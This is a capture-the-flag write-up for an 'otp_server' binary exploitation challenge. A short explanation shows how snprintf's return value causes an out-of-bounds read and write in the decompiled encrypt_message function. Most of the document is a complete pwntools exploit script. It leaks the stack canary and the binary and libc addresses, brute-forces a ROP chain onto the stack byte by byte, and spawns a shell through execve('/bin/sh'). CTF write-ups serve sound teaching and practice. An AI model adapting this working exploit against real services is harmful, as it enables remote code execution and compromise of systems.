Vulnerable function:

unsigned __int64 __fastcall encrypt_message(char *buf)
{
  unsigned __int64 canary; // ST28_8
  int random; // ST1C_4
  int n; // eax
  canary = __readfsqword(0x28u);
  random = gen_random();
  *(_DWORD *)buf = random;
  n = snprintf(buf + 4, 260uLL, "%s", message);
  *(_DWORD *)&buf[n + 4] = random;
  encrypt(buf);
  print_message(buf, n + 8);
  return __readfsqword(0x28u) ^ canary;
}

Return Value of snprintf:

The number of characters that would have been written if n had been sufficiently large, not counting the terminating null character.

This leads to an out of bounds read in print message function because globals: key and message are contiguous. Write rop chain byte-per-byte (boring part, takes lot of time) due to the fact that: *(_DWORD *)&buf[n + 4] = random; leads to an out of bounds write.

Exploit:

#!/usr/bin/env python
# coding: utf-8
from pwn import *

context.arch = "amd64"
context.terminal = ["tmux", "sp", "-h"]

elf  = ELF("otp_server")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

HOST = "challenges.fbctf.com"
PORT = 1338

def set_key(key):
    io.sendlineafter(">>>", "1")
    io.sendafter("Enter key:", key)

def encrypt(message):
    io.sendlineafter(">>>", "2")
    io.sendafter("Enter message to encrypt:", message)

def attach(addr):
    gdb.attach(io, 'b *{:#x}\nc'.format(addr + io.libs()[elf.path]))

def bruteforce(offset, value):
    p = log.progress("Bruteforcing %#x" % u64(value))
    for i in range(7, -1, -1):
        j = 0
        end = False
        while not end:
            set_key("A" * offset + "\x00")
            encrypt("B" * 256)

            io.recvuntil("----- BEGIN ROP ENCRYPTED MESSAGE -----\n")
            data = io.recv(4)

            if ord(data[3]) ^ 0x41 == ord(value[i]):
                offset -= 1
                end = True
                log.success("Got byte: %#x" % ord(value[i]))
            else:
                p.status("Attempt %d" % j)
                j += 1
                
    p.success("RET overwritten")

io = process(elf.path) #remote(HOST, PORT)

set_key("A" * 264)
encrypt("B" * 256)

io.recvuntil("----- BEGIN ROP ENCRYPTED MESSAGE -----\n")

data = io.recv(528)

leaked_addrs = []
for i in range(0, len(data), 8):
    leaked_addrs.append(u64(data[i:i+8]))

stack_canary = leaked_addrs[33]
elf.address  = leaked_addrs[34] - 0xdd0
libc.address = leaked_addrs[35] - 0x21b97

log.info("Glibc address: %#x" % libc.address)

# attach(0xdcc)

OFFSET = 24
ONE_GADGET = libc.address + 0x4f2c5

rop_chain = [
    p64(elf.address + 0xe33),
    p64(next(libc.search("/bin/sh\x00"))),
    p64(libc.address + 0x1b96),
    p64(0x0),
    p64(libc.address + 0x23e6a),
    p64(0x0),
    p64(libc.sym["execve"]),
]

for i in range(len(rop_chain) - 1, -1, -1):
    bruteforce(OFFSET + 8 * i, rop_chain[i])

io.sendafter(">>>", "3")

io.interactive()